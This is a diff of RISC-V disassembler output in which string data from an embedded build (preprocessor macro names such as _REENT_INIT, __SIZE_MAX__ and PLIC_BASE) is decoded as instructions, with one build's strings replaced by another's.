+    563e:	7828                	flw	fa0,112(s0)
+    5640:	2c29                	jal	585a <__stack_size+0x505a>
+    5642:	7020                	flw	fs0,96(s0)
+    5644:	2029                	jal	564e <__stack_size+0x4e4e>
+    5646:	3d3d                	jal	5484 <__stack_size+0x4c84>
+    5648:	4520                	lw	s0,72(a0)
+    564a:	3a20464f          	fnmadd.d	fa2,ft0,ft2,ft7,rmm
+    564e:	2820                	fld	fs0,80(s0)
+    5650:	282a                	fld	fa6,136(sp)
+    5652:	2970                	fld	fa2,208(a0)
+    5654:	3e2d                	jal	518e <__stack_size+0x498e>
+    5656:	705f 3d20 2820      	0x28203d20705f
+    565c:	2978                	fld	fa4,208(a0)
+    565e:	202c                	fld	fa1,64(s0)
+    5660:	7028                	flw	fa0,96(s0)
+    5662:	2d29                	jal	5c7c <__stack_size+0x547c>
+    5664:	5f3e                	lw	t5,236(sp)
+    5666:	2b70                	fld	fa2,208(a4)
+    5668:	30202c2b          	0x30202c2b
+    566c:	2929                	jal	5a86 <__stack_size+0x5286>
     566e:	5f00                	lw	s0,56(a4)
-    5670:	465f 544c 3436      	0x3436544c465f
-    5676:	5f58                	lw	a4,60(a4)
-    5678:	4148                	lw	a0,4(a0)
-    567a:	4e495f53          	0x4e495f53
-    567e:	4946                	lw	s2,80(sp)
-    5680:	494e                	lw	s2,208(sp)
-    5682:	5954                	lw	a3,52(a0)
-    5684:	5f5f 3120 5f00      	0x5f0031205f5f
-    568a:	435f 4148 5f52      	0x5f524148435f
-    5690:	4942                	lw	s2,16(sp)
-    5692:	5f54                	lw	a3,60(a4)
-    5694:	205f 0038 4e49      	0x4e490038205f
-    569a:	4d54                	lw	a3,28(a0)
-    569c:	5841                	li	a6,-16
-    569e:	4d5f 4e49 5f00      	0x5f004e494d5f
-    56a4:	495f 544e 414d      	0x414d544e495f
-    56aa:	5f58                	lw	a4,60(a4)
-    56ac:	5954                	lw	a3,52(a0)
-    56ae:	4550                	lw	a2,12(a0)
-    56b0:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    56b6:	6f6c2067          	0x6f6c2067
-    56ba:	676e                	flw	fa4,216(sp)
-    56bc:	6920                	flw	fs0,80(a0)
-    56be:	746e                	flw	fs0,248(sp)
-    56c0:	5300                	lw	s0,32(a4)
-    56c2:	4454                	lw	a3,12(s0)
-    56c4:	5245                	li	tp,-15
-    56c6:	5f52                	lw	t5,52(sp)
-    56c8:	4946                	lw	s2,80(sp)
-    56ca:	454c                	lw	a1,12(a0)
-    56cc:	4f4e                	lw	t5,208(sp)
-    56ce:	3220                	fld	fs0,96(a2)
-    56d0:	4500                	lw	s0,8(a0)
-    56d2:	2820464f          	fnmadd.s	fa2,ft0,ft2,ft5,rmm
-    56d6:	312d                	jal	5300 <__stack_size+0x4b00>
-    56d8:	0029                	c.nop	10
-    56da:	505f 494f 544e      	0x544e494f505f
-    56e0:	5245                	li	tp,-15
-    56e2:	495f 544e 6c20      	0x6c20544e495f
-    56e8:	00676e6f          	jal	t3,7b6ee <__stack_size+0x7aeee>
-    56ec:	505f 4449 545f      	0x545f4449505f
-    56f2:	445f 4345 414c      	0x414c4345445f
-    56f8:	4552                	lw	a0,20(sp)
-    56fa:	2044                	fld	fs1,128(s0)
-    56fc:	5f00                	lw	s0,56(a4)
-    56fe:	425f4353          	0x425f4353
-    5702:	43535f43          	fmadd.d	ft10,ft6,fs5,fs0,unknown
-    5706:	4c41                	li	s8,16
-    5708:	5f45                	li	t5,-15
-    570a:	414d                	li	sp,19
-    570c:	2058                	fld	fa4,128(s0)
-    570e:	3935                	jal	534a <__stack_size+0x4b4a>
-    5710:	6d00                	flw	fs0,24(a0)
-    5712:	6576                	flw	fa0,92(sp)
-    5714:	646e                	flw	fs0,216(sp)
-    5716:	6469726f          	jal	tp,9cd5c <__stack_size+0x9c55c>
-    571a:	735f 7274 6300      	0x63007274735f
-    5720:	746e756f          	jal	a0,ece66 <__stack_size+0xec666>
-    5724:	5f00                	lw	s0,56(a4)
-    5726:	4552                	lw	a0,20(sp)
-    5728:	4e45                	li	t3,17
-    572a:	5f54                	lw	a3,60(a4)
-    572c:	4e49                	li	t3,18
-    572e:	5449                	li	s0,-14
-    5730:	7628                	flw	fa0,104(a2)
-    5732:	7261                	lui	tp,0xffff8
-    5734:	2029                	jal	573e <__stack_size+0x4f3e>
-    5736:	2c30207b          	0x2c30207b
-    573a:	5f20                	lw	s0,120(a4)
-    573c:	4552                	lw	a0,20(sp)
-    573e:	4e45                	li	t3,17
-    5740:	5f54                	lw	a3,60(a4)
-    5742:	49445453          	0x49445453
-    5746:	54535f4f          	0x54535f4f
-    574a:	4552                	lw	a0,20(sp)
-    574c:	4d41                	li	s10,16
-    574e:	2628                	fld	fa0,72(a2)
-    5750:	7628                	flw	fa0,104(a2)
-    5752:	7261                	lui	tp,0xffff8
+    5670:	4450                	lw	a2,12(s0)
+    5672:	5f50                	lw	a2,60(a4)
+    5674:	4e45                	li	t3,17
+    5676:	4944                	lw	s1,20(a0)
+    5678:	4e41                	li	t3,16
+    567a:	3320                	fld	fs0,96(a4)
+    567c:	3134                	fld	fa3,96(a0)
+    567e:	0032                	c.slli	zero,0xc
+    5680:	5f5f 4244 5f4c      	0x5f4c42445f5f
+    5686:	4f4e                	lw	t5,208(sp)
+    5688:	4d52                	lw	s10,20(sp)
+    568a:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    5690:	2820                	fld	fs0,80(s0)
+    5692:	6428                	flw	fa0,72(s0)
+    5694:	6c62756f          	jal	a0,2cd5a <__stack_size+0x2c55a>
+    5698:	2965                	jal	5b50 <__stack_size+0x5350>
+    569a:	2e31                	jal	59b6 <__stack_size+0x51b6>
+    569c:	36373937          	lui	s2,0x36373
+    56a0:	3339                	jal	53ae <__stack_size+0x4bae>
+    56a2:	3331                	jal	53ae <__stack_size+0x4bae>
+    56a4:	3834                	fld	fa3,112(s0)
+    56a6:	3236                	fld	ft4,360(sp)
+    56a8:	37353133          	0x37353133
+    56ac:	3830                	fld	fa2,112(s0)
+    56ae:	3431                	jal	50ba <__stack_size+0x48ba>
+    56b0:	3235                	jal	4fdc <__stack_size+0x47dc>
+    56b2:	33323437          	lui	s0,0x33323
+    56b6:	37313337          	lui	t1,0x37313
+    56ba:	3430                	fld	fa2,104(s0)
+    56bc:	65373533          	0x65373533
+    56c0:	3830332b          	0x3830332b
+    56c4:	294c                	fld	fa1,144(a0)
+    56c6:	5f00                	lw	s0,56(a4)
+    56c8:	5f5f 6e69 5f74      	0x5f746e695f5f
+    56ce:	656c                	flw	fa1,76(a0)
+    56d0:	7361                	lui	t1,0xffff8
+    56d2:	3674                	fld	fa3,232(a2)
+    56d4:	5f34                	lw	a3,120(a4)
+    56d6:	5f74                	lw	a3,124(a4)
+    56d8:	6564                	flw	fs1,76(a0)
+    56da:	6966                	flw	fs2,88(sp)
+    56dc:	656e                	flw	fa0,216(sp)
+    56de:	2064                	fld	fs1,192(s0)
+    56e0:	0031                	c.nop	12
+    56e2:	5f5f 6973 657a      	0x657a69735f5f
+    56e8:	745f 5f5f 0020      	0x205f5f745f
+    56ee:	535f 5f43 4f4c      	0x4f4c5f43535f
+    56f4:	5f4e4947          	fmsub.q	fs2,ft8,fs4,fa1,rmm
+    56f8:	414e                	lw	sp,208(sp)
+    56fa:	454d                	li	a0,19
+    56fc:	4d5f 5841 3520      	0x352058414d5f
+    5702:	0032                	c.slli	zero,0xc
+    5704:	5f5f 5953 5f53      	0x5f5359535f5f
+    570a:	464e4f43          	fmadd.q	ft10,ft8,ft4,fs0,rmm
+    570e:	4749                	li	a4,18
+    5710:	485f 5f5f 0020      	0x205f5f485f
+    5716:	465f 4f4e 4e49      	0x4e494f4e465f
+    571c:	4548                	lw	a0,12(a0)
+    571e:	4952                	lw	s2,20(sp)
+    5720:	2054                	fld	fa3,128(s0)
+    5722:	7830                	flw	fa2,112(s0)
+    5724:	3034                	fld	fa3,96(s0)
+    5726:	3030                	fld	fa2,96(s0)
+    5728:	0030                	addi	a2,sp,8
+    572a:	5f5f 7270 6465      	0x646572705f5f
+    5730:	6369                	lui	t1,0x1a
+    5732:	5f74                	lw	a3,124(a4)
+    5734:	6166                	flw	ft2,88(sp)
+    5736:	736c                	flw	fa1,100(a4)
+    5738:	2865                	jal	57f0 <__stack_size+0x4ff0>
+    573a:	7865                	lui	a6,0xffff9
+    573c:	2970                	fld	fa2,208(a0)
+    573e:	5f20                	lw	s0,120(a4)
+    5740:	625f 6975 746c      	0x746c6975625f
+    5746:	6e69                	lui	t3,0x1a
+    5748:	655f 7078 6365      	0x63657078655f
+    574e:	2874                	fld	fa3,208(s0)
+    5750:	6528                	flw	fa0,72(a0)
+    5752:	7078                	flw	fa4,100(s0)
     5754:	2c29                	jal	596e <__stack_size+0x516e>
     5756:	3020                	fld	fs0,96(s0)
-    5758:	2c29                	jal	5972 <__stack_size+0x5172>
-    575a:	5f20                	lw	s0,120(a4)
-    575c:	4552                	lw	a0,20(sp)
-    575e:	4e45                	li	t3,17
-    5760:	5f54                	lw	a3,60(a4)
-    5762:	49445453          	0x49445453
-    5766:	54535f4f          	0x54535f4f
-    576a:	4552                	lw	a0,20(sp)
-    576c:	4d41                	li	s10,16
-    576e:	2628                	fld	fa0,72(a2)
-    5770:	7628                	flw	fa0,104(a2)
-    5772:	7261                	lui	tp,0xffff8
-    5774:	2c29                	jal	598e <__stack_size+0x518e>
-    5776:	3120                	fld	fs0,96(a0)
-    5778:	2c29                	jal	5992 <__stack_size+0x5192>
-    577a:	5f20                	lw	s0,120(a4)
-    577c:	4552                	lw	a0,20(sp)
-    577e:	4e45                	li	t3,17
-    5780:	5f54                	lw	a3,60(a4)
-    5782:	49445453          	0x49445453
-    5786:	54535f4f          	0x54535f4f
-    578a:	4552                	lw	a0,20(sp)
-    578c:	4d41                	li	s10,16
-    578e:	2628                	fld	fa0,72(a2)
-    5790:	7628                	flw	fa0,104(a2)
-    5792:	7261                	lui	tp,0xffff8
-    5794:	2c29                	jal	59ae <__stack_size+0x51ae>
-    5796:	3220                	fld	fs0,96(a2)
-    5798:	2c29                	jal	59b2 <__stack_size+0x51b2>
-    579a:	3020                	fld	fs0,96(s0)
-    579c:	202c                	fld	fa1,64(s0)
-    579e:	2222                	fld	ft4,8(sp)
-    57a0:	202c                	fld	fa1,64(s0)
-    57a2:	2c30                	fld	fa2,88(s0)
-    57a4:	5f20                	lw	s0,120(a4)
-    57a6:	554e                	lw	a0,240(sp)
-    57a8:	4c4c                	lw	a1,28(s0)
-    57aa:	202c                	fld	fa1,64(s0)
-    57ac:	2c30                	fld	fa2,88(s0)
-    57ae:	5f20                	lw	s0,120(a4)
-    57b0:	554e                	lw	a0,240(sp)
-    57b2:	4c4c                	lw	a1,28(s0)
-    57b4:	202c                	fld	fa1,64(s0)
-    57b6:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    57bc:	3020                	fld	fs0,96(s0)
-    57be:	202c                	fld	fa1,64(s0)
-    57c0:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    57c6:	5f20                	lw	s0,120(a4)
-    57c8:	554e                	lw	a0,240(sp)
-    57ca:	4c4c                	lw	a1,28(s0)
-    57cc:	202c                	fld	fa1,64(s0)
-    57ce:	2c30                	fld	fa2,88(s0)
-    57d0:	5f20                	lw	s0,120(a4)
-    57d2:	554e                	lw	a0,240(sp)
-    57d4:	4c4c                	lw	a1,28(s0)
-    57d6:	202c                	fld	fa1,64(s0)
-    57d8:	207b207b          	0x207b207b
-    57dc:	2c30                	fld	fa2,88(s0)
-    57de:	5f20                	lw	s0,120(a4)
-    57e0:	554e                	lw	a0,240(sp)
-    57e2:	4c4c                	lw	a1,28(s0)
-    57e4:	202c                	fld	fa1,64(s0)
-    57e6:	2222                	fld	ft4,8(sp)
-    57e8:	202c                	fld	fa1,64(s0)
-    57ea:	202c307b          	0x202c307b
-    57ee:	2c30                	fld	fa2,88(s0)
-    57f0:	3020                	fld	fs0,96(s0)
-    57f2:	202c                	fld	fa1,64(s0)
-    57f4:	2c30                	fld	fa2,88(s0)
-    57f6:	3020                	fld	fs0,96(s0)
-    57f8:	202c                	fld	fa1,64(s0)
-    57fa:	2c30                	fld	fa2,88(s0)
-    57fc:	3020                	fld	fs0,96(s0)
-    57fe:	202c                	fld	fa1,64(s0)
-    5800:	2c30                	fld	fa2,88(s0)
-    5802:	3020                	fld	fs0,96(s0)
-    5804:	2c7d                	jal	5ac2 <__stack_size+0x52c2>
-    5806:	3020                	fld	fs0,96(s0)
-    5808:	202c                	fld	fa1,64(s0)
-    580a:	2c31                	jal	5a26 <__stack_size+0x5226>
-    580c:	7b20                	flw	fs0,112(a4)
-    580e:	7b20                	flw	fs0,112(a4)
-    5810:	525f 4e41 3444      	0x34444e41525f
-    5816:	5f38                	lw	a4,120(a4)
-    5818:	44454553          	0x44454553
-    581c:	305f 202c 525f      	0x525f202c305f
-    5822:	4e41                	li	t3,16
-    5824:	3444                	fld	fs1,168(s0)
-    5826:	5f38                	lw	a4,120(a4)
-    5828:	44454553          	0x44454553
-    582c:	315f 202c 525f      	0x525f202c315f
-    5832:	4e41                	li	t3,16
-    5834:	3444                	fld	fs1,168(s0)
-    5836:	5f38                	lw	a4,120(a4)
-    5838:	44454553          	0x44454553
-    583c:	325f 2c7d 7b20      	0x7b202c7d325f
-    5842:	525f 4e41 3444      	0x34444e41525f
-    5848:	5f38                	lw	a4,120(a4)
-    584a:	554d                	li	a0,-13
-    584c:	544c                	lw	a1,44(s0)
-    584e:	305f 202c 525f      	0x525f202c305f
-    5854:	4e41                	li	t3,16
-    5856:	3444                	fld	fs1,168(s0)
-    5858:	5f38                	lw	a4,120(a4)
-    585a:	554d                	li	a0,-13
-    585c:	544c                	lw	a1,44(s0)
-    585e:	315f 202c 525f      	0x525f202c315f
-    5864:	4e41                	li	t3,16
-    5866:	3444                	fld	fs1,168(s0)
-    5868:	5f38                	lw	a4,120(a4)
-    586a:	554d                	li	a0,-13
-    586c:	544c                	lw	a1,44(s0)
-    586e:	325f 2c7d 5f20      	0x5f202c7d325f
-    5874:	4152                	lw	sp,20(sp)
-    5876:	444e                	lw	s0,208(sp)
-    5878:	3834                	fld	fa3,112(s0)
-    587a:	415f 4444 7d20      	0x7d204444415f
-    5880:	202c                	fld	fa1,64(s0)
-    5882:	202c307b          	0x202c307b
-    5886:	7d7d307b          	0x7d7d307b
-    588a:	202c                	fld	fa1,64(s0)
-    588c:	202c307b          	0x202c307b
-    5890:	7d7d307b          	0x7d7d307b
-    5894:	202c                	fld	fa1,64(s0)
-    5896:	202c307b          	0x202c307b
-    589a:	7d7d307b          	0x7d7d307b
-    589e:	202c                	fld	fa1,64(s0)
-    58a0:	2222                	fld	ft4,8(sp)
-    58a2:	202c                	fld	fa1,64(s0)
-    58a4:	2222                	fld	ft4,8(sp)
-    58a6:	202c                	fld	fa1,64(s0)
-    58a8:	2c30                	fld	fa2,88(s0)
-    58aa:	7b20                	flw	fs0,112(a4)
-    58ac:	2c30                	fld	fa2,88(s0)
-    58ae:	7b20                	flw	fs0,112(a4)
-    58b0:	7d30                	flw	fa2,120(a0)
-    58b2:	2c7d                	jal	5b70 <__stack_size+0x5370>
-    58b4:	7b20                	flw	fs0,112(a4)
-    58b6:	2c30                	fld	fa2,88(s0)
-    58b8:	7b20                	flw	fs0,112(a4)
-    58ba:	7d30                	flw	fa2,120(a0)
-    58bc:	2c7d                	jal	5b7a <__stack_size+0x537a>
-    58be:	7b20                	flw	fs0,112(a4)
-    58c0:	2c30                	fld	fa2,88(s0)
-    58c2:	7b20                	flw	fs0,112(a4)
-    58c4:	7d30                	flw	fa2,120(a0)
-    58c6:	2c7d                	jal	5b84 <__stack_size+0x5384>
-    58c8:	7b20                	flw	fs0,112(a4)
+    5758:	0029                	c.nop	10
+    575a:	5f5f 4953 455a      	0x455a49535f5f
+    5760:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    5766:	3020                	fld	fs0,96(s0)
+    5768:	6678                	flw	fa4,76(a2)
+    576a:	6666                	flw	fa2,88(sp)
+    576c:	6666                	flw	fa2,88(sp)
+    576e:	6666                	flw	fa2,88(sp)
+    5770:	5566                	lw	a0,120(sp)
+    5772:	5400                	lw	s0,40(s0)
+    5774:	6172                	flw	ft2,28(sp)
+    5776:	736e                	flw	ft6,248(sp)
+    5778:	696d                	lui	s2,0x1b
+    577a:	6f697373          	csrrci	t1,0x6f6,18
+    577e:	486e                	lw	a6,216(sp)
+    5780:	6165                	addi	sp,sp,112
+    5782:	6564                	flw	fs1,76(a0)
+    5784:	0072                	c.slli	zero,0x1c
+    5786:	52545f4f          	fnmadd.d	ft10,fs0,ft5,fa0,unknown
+    578a:	4e55                	li	t3,21
+    578c:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
+    5790:	5254                	lw	a3,36(a2)
+    5792:	4e55                	li	t3,21
+    5794:	4e490043          	fmadd.q	ft0,fs2,ft4,fs1,rne
+    5798:	4d54                	lw	a3,28(a0)
+    579a:	5841                	li	a6,-16
+    579c:	435f 6328 2029      	0x20296328435f
+    57a2:	5f5f 4e49 4d54      	0x4d544e495f5f
+    57a8:	5841                	li	a6,-16
+    57aa:	435f 6328 0029      	0x296328435f
+    57b0:	544e4957          	0x544e4957
+    57b4:	4d5f 5841 5f20      	0x5f2058414d5f
+    57ba:	575f 4e49 5f54      	0x5f544e49575f
+    57c0:	414d                	li	sp,19
+    57c2:	5f58                	lw	a4,60(a4)
+    57c4:	005f 5f5f 4843      	0x48435f5f005f
+    57ca:	5241                	li	tp,-16
+    57cc:	425f 5449 5f5f      	0x5f5f5449425f
+    57d2:	3820                	fld	fs0,112(s0)
+    57d4:	4900                	lw	s0,16(a0)
+    57d6:	544e                	lw	s0,240(sp)
+    57d8:	414d                	li	sp,19
+    57da:	5f58                	lw	a4,60(a4)
+    57dc:	494d                	li	s2,19
+    57de:	004e                	c.slli	zero,0x13
+    57e0:	5f5f 4e49 4d54      	0x4d544e495f5f
+    57e6:	5841                	li	a6,-16
+    57e8:	545f 5059 5f45      	0x5f455059545f
+    57ee:	205f 6f6c 676e      	0x676e6f6c205f
+    57f4:	6c20                	flw	fs0,88(s0)
+    57f6:	20676e6f          	jal	t3,7b9fc <__stack_size+0x7b1fc>
+    57fa:	6e69                	lui	t3,0x1a
+    57fc:	0074                	addi	a3,sp,12
+    57fe:	45445453          	0x45445453
+    5802:	5252                	lw	tp,52(sp)
+    5804:	465f 4c49 4e45      	0x4e454c49465f
+    580a:	0032204f          	fnmadd.s	ft0,ft4,ft3,ft0,rdn
+    580e:	4f45                	li	t5,17
+    5810:	2046                	fld	ft0,80(sp)
+    5812:	2d28                	fld	fa0,88(a0)
+    5814:	2931                	jal	5c30 <__stack_size+0x5430>
+    5816:	5f00                	lw	s0,56(a4)
+    5818:	4f50                	lw	a2,28(a4)
+    581a:	4e49                	li	t3,18
+    581c:	4554                	lw	a3,12(a0)
+    581e:	5f52                	lw	t5,52(sp)
+    5820:	4e49                	li	t3,18
+    5822:	2054                	fld	fa3,128(s0)
+    5824:	6f6c                	flw	fa1,92(a4)
+    5826:	676e                	flw	fa4,216(sp)
+    5828:	5f00                	lw	s0,56(a4)
+    582a:	4950                	lw	a2,20(a0)
+    582c:	5f44                	lw	s1,60(a4)
+    582e:	5f54                	lw	a3,60(a4)
+    5830:	4544                	lw	s1,12(a0)
+    5832:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    5836:	4445                	li	s0,17
+    5838:	0020                	addi	s0,sp,8
+    583a:	535f 5f43 4342      	0x43425f43535f
+    5840:	535f 4143 454c      	0x454c4143535f
+    5846:	4d5f 5841 3520      	0x352058414d5f
+    584c:	0039                	c.nop	14
+    584e:	6e756f63          	bltu	a0,t2,5f4c <__stack_size+0x574c>
+    5852:	0074                	addi	a3,sp,12
+    5854:	525f 4545 544e      	0x544e4545525f
+    585a:	495f 494e 2854      	0x2854494e495f
+    5860:	6176                	flw	ft2,92(sp)
+    5862:	2972                	fld	fs2,280(sp)
+    5864:	7b20                	flw	fs0,112(a4)
+    5866:	3020                	fld	fs0,96(s0)
+    5868:	202c                	fld	fa1,64(s0)
+    586a:	525f 4545 544e      	0x544e4545525f
+    5870:	535f 4454 4f49      	0x4f494454535f
+    5876:	535f 5254 4145      	0x41455254535f
+    587c:	284d                	jal	592e <__stack_size+0x512e>
+    587e:	2826                	fld	fa6,72(sp)
+    5880:	6176                	flw	ft2,92(sp)
+    5882:	2972                	fld	fs2,280(sp)
+    5884:	202c                	fld	fa1,64(s0)
+    5886:	2930                	fld	fa2,80(a0)
+    5888:	202c                	fld	fa1,64(s0)
+    588a:	525f 4545 544e      	0x544e4545525f
+    5890:	535f 4454 4f49      	0x4f494454535f
+    5896:	535f 5254 4145      	0x41455254535f
+    589c:	284d                	jal	594e <__stack_size+0x514e>
+    589e:	2826                	fld	fa6,72(sp)
+    58a0:	6176                	flw	ft2,92(sp)
+    58a2:	2972                	fld	fs2,280(sp)
+    58a4:	202c                	fld	fa1,64(s0)
+    58a6:	2931                	jal	5cc2 <__stack_size+0x54c2>
+    58a8:	202c                	fld	fa1,64(s0)
+    58aa:	525f 4545 544e      	0x544e4545525f
+    58b0:	535f 4454 4f49      	0x4f494454535f
+    58b6:	535f 5254 4145      	0x41455254535f
+    58bc:	284d                	jal	596e <__stack_size+0x516e>
+    58be:	2826                	fld	fa6,72(sp)
+    58c0:	6176                	flw	ft2,92(sp)
+    58c2:	2972                	fld	fs2,280(sp)
+    58c4:	202c                	fld	fa1,64(s0)
+    58c6:	2932                	fld	fs2,264(sp)
+    58c8:	202c                	fld	fa1,64(s0)
     58ca:	2c30                	fld	fa2,88(s0)
-    58cc:	7b20                	flw	fs0,112(a4)
-    58ce:	7d30                	flw	fa2,120(a0)
-    58d0:	2c7d                	jal	5b8e <__stack_size+0x538e>
-    58d2:	7b20                	flw	fs0,112(a4)
-    58d4:	2c30                	fld	fa2,88(s0)
-    58d6:	7b20                	flw	fs0,112(a4)
-    58d8:	7d30                	flw	fa2,120(a0)
-    58da:	207d                	jal	5988 <__stack_size+0x5188>
-    58dc:	207d                	jal	598a <__stack_size+0x518a>
-    58de:	2c7d                	jal	5b9c <__stack_size+0x539c>
-    58e0:	5f20                	lw	s0,120(a4)
-    58e2:	4552                	lw	a0,20(sp)
-    58e4:	4e45                	li	t3,17
-    58e6:	5f54                	lw	a3,60(a4)
-    58e8:	4e49                	li	t3,18
-    58ea:	5449                	li	s0,-14
-    58ec:	415f 4554 4958      	0x49584554415f
-    58f2:	2054                	fld	fa3,128(s0)
-    58f4:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    58fa:	7b20                	flw	fs0,112(a4)
-    58fc:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    5902:	3020                	fld	fs0,96(s0)
-    5904:	202c                	fld	fa1,64(s0)
-    5906:	4e5f 4c55 7d4c      	0x7d4c4c554e5f
-    590c:	7d20                	flw	fs0,120(a0)
-    590e:	5f00                	lw	s0,56(a4)
-    5910:	465f 544c 3436      	0x3436544c465f
-    5916:	5f58                	lw	a4,60(a4)
-    5918:	4944                	lw	s1,20(a0)
-    591a:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    591e:	5f003333          	0x5f003333
-    5922:	424f4c47          	fmsub.d	fs8,ft10,ft4,fs0,rmm
-    5926:	4c41                	li	s8,16
-    5928:	415f 4554 4958      	0x49584554415f
-    592e:	2054                	fld	fa3,128(s0)
-    5930:	5f28                	lw	a0,120(a4)
-    5932:	424f4c47          	fmsub.d	fs8,ft10,ft4,fs0,rmm
-    5936:	4c41                	li	s8,16
-    5938:	525f 4545 544e      	0x544e4545525f
-    593e:	3e2d                	jal	5478 <__stack_size+0x4c78>
-    5940:	615f 6574 6978      	0x69786574615f
-    5946:	2974                	fld	fa3,208(a0)
-    5948:	5f00                	lw	s0,56(a4)
-    594a:	5342                	lw	t1,48(sp)
-    594c:	5f44                	lw	s1,60(a4)
-    594e:	455a4953          	0x455a4953
-    5952:	545f 205f 5f00      	0x5f00205f545f
-    5958:	745f 7972 6f6c      	0x6f6c7972745f
-    595e:	5f736b63          	bltu	t1,s7,5f54 <__stack_size+0x5754>
-    5962:	72616873          	csrrsi	a6,0x726,2
-    5966:	6465                	lui	s0,0x19
-    5968:	2e28                	fld	fa0,88(a2)
-    596a:	2e2e                	fld	ft8,200(sp)
-    596c:	2029                	jal	5976 <__stack_size+0x5176>
-    596e:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    5974:	615f 6e6e 746f      	0x746f6e6e615f
-    597a:	7461                	lui	s0,0xffff8
-    597c:	2865                	jal	5a34 <__stack_size+0x5234>
-    597e:	72616873          	csrrsi	a6,0x726,2
-    5982:	6465                	lui	s0,0x19
-    5984:	745f 7972 6f6c      	0x6f6c7972745f
-    598a:	665f6b63          	bltu	t5,t0,6000 <__stack_size+0x5800>
-    598e:	6e75                	lui	t3,0x1d
-    5990:	6f697463          	bgeu	s2,s6,6078 <__stack_size+0x5878>
-    5994:	286e                	fld	fa6,216(sp)
-    5996:	5f5f 4156 415f      	0x415f41565f5f
-    599c:	4752                	lw	a4,20(sp)
-    599e:	295f5f53          	0x295f5f53
-    59a2:	0029                	c.nop	10
-    59a4:	535f 5254 4e49      	0x4e495254535f
-    59aa:	5f485f47          	fmsub.q	ft10,fa6,fs4,fa1,unknown
-    59ae:	0020                	addi	s0,sp,8
-    59b0:	5f5f 4e49 5054      	0x50544e495f5f
-    59b6:	5254                	lw	a3,36(a2)
-    59b8:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    59be:	3020                	fld	fs0,96(s0)
-    59c0:	3778                	fld	fa4,232(a4)
-    59c2:	6666                	flw	fa2,88(sp)
-    59c4:	6666                	flw	fa2,88(sp)
-    59c6:	6666                	flw	fa2,88(sp)
-    59c8:	0066                	c.slli	zero,0x19
-    59ca:	5750                	lw	a2,44(a4)
-    59cc:	5f4d                	li	t5,-13
-    59ce:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    59d2:	31504d43          	fmadd.s	fs10,ft0,fs5,ft6,rmm
-    59d6:	5049                	c.li	zero,-14
-    59d8:	3020                	fld	fs0,96(s0)
-    59da:	3278                	fld	fa4,224(a2)
-    59dc:	3030                	fld	fa2,96(s0)
-    59de:	3030                	fld	fa2,96(s0)
-    59e0:	3030                	fld	fa2,96(s0)
-    59e2:	0030                	addi	a2,sp,8
-    59e4:	5f5f 6163 6464      	0x646461635f5f
-    59ea:	5f72                	lw	t5,60(sp)
-    59ec:	5f74                	lw	a3,124(a4)
-    59ee:	6564                	flw	fs1,76(a0)
-    59f0:	6966                	flw	fs2,88(sp)
-    59f2:	656e                	flw	fa0,216(sp)
-    59f4:	2064                	fld	fs1,192(s0)
-    59f6:	4600                	lw	s0,8(a2)
-    59f8:	535f 5445 4b4c      	0x4b4c5445535f
-    59fe:	00392057          	0x392057
-    5a02:	5f5f 4347 5f43      	0x5f4343475f5f
-    5a08:	5441                	li	s0,-16
-    5a0a:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    5a0e:	505f 494f 544e      	0x544e494f505f
-    5a14:	5245                	li	tp,-15
-    5a16:	4c5f 434f 5f4b      	0x5f4b434f4c5f
-    5a1c:	5246                	lw	tp,112(sp)
-    5a1e:	4545                	li	a0,17
-    5a20:	3220                	fld	fs0,96(a2)
-    5a22:	5f00                	lw	s0,56(a4)
-    5a24:	6f4e                	flw	ft10,208(sp)
-    5a26:	6e6e                	flw	ft8,216(sp)
-    5a28:	6c75                	lui	s8,0x1d
-    5a2a:	206c                	fld	fa1,192(s0)
-    5a2c:	4300                	lw	s0,0(a4)
-    5a2e:	4d5f5253          	0x4d5f5253
-    5a32:	5048                	lw	a0,36(s0)
-    5a34:	434d                	li	t1,19
-    5a36:	544e554f          	0x544e554f
-    5a3a:	5245                	li	tp,-15
-    5a3c:	32203133          	0x32203133
-    5a40:	4c500037          	lui	zero,0x4c500
-    5a44:	4349                	li	t1,18
-    5a46:	425f 5341 2045      	0x20455341425f
-    5a4c:	7830                	flw	fa2,112(s0)
-    5a4e:	4330                	lw	a2,64(a4)
-    5a50:	3030                	fld	fa2,96(s0)
-    5a52:	3030                	fld	fa2,96(s0)
-    5a54:	3030                	fld	fa2,96(s0)
-    5a56:	4900                	lw	s0,16(a0)
-    5a58:	5152                	lw	sp,52(sp)
-    5a5a:	2820                	fld	fs0,80(s0)
-    5a5c:	5531                	li	a0,-20
-    5a5e:	204c                	fld	fa1,128(s0)
-    5a60:	3c3c                	fld	fa5,120(s0)
-    5a62:	5f5f 6972 6373      	0x637369725f5f
-    5a68:	5f76                	lw	t5,124(sp)
-    5a6a:	6c78                	flw	fa4,92(s0)
-    5a6c:	6e65                	lui	t3,0x19
-    5a6e:	312d                	jal	5698 <__stack_size+0x4e98>
-    5a70:	0029                	c.nop	10
-    5a72:	535f 5f43 5f32      	0x5f325f43535f
-    5a78:	49425f43          	fmadd.s	ft10,ft4,fs4,fs1,unknown
-    5a7c:	444e                	lw	s0,208(sp)
-    5a7e:	3120                	fld	fs0,96(a0)
-    5a80:	3830                	fld	fa2,112(s0)
-    5a82:	5f00                	lw	s0,56(a4)
-    5a84:	5746                	lw	a4,112(sp)
-    5a86:	4952                	lw	s2,20(sp)
-    5a88:	4554                	lw	a3,12(a0)
-    5a8a:	3020                	fld	fs0,96(s0)
-    5a8c:	3078                	fld	fa4,224(s0)
-    5a8e:	3030                	fld	fa2,96(s0)
-    5a90:	0032                	c.slli	zero,0xc
-    5a92:	5f5f 4f53 4646      	0x46464f535f5f
-    5a98:	3020                	fld	fs0,96(s0)
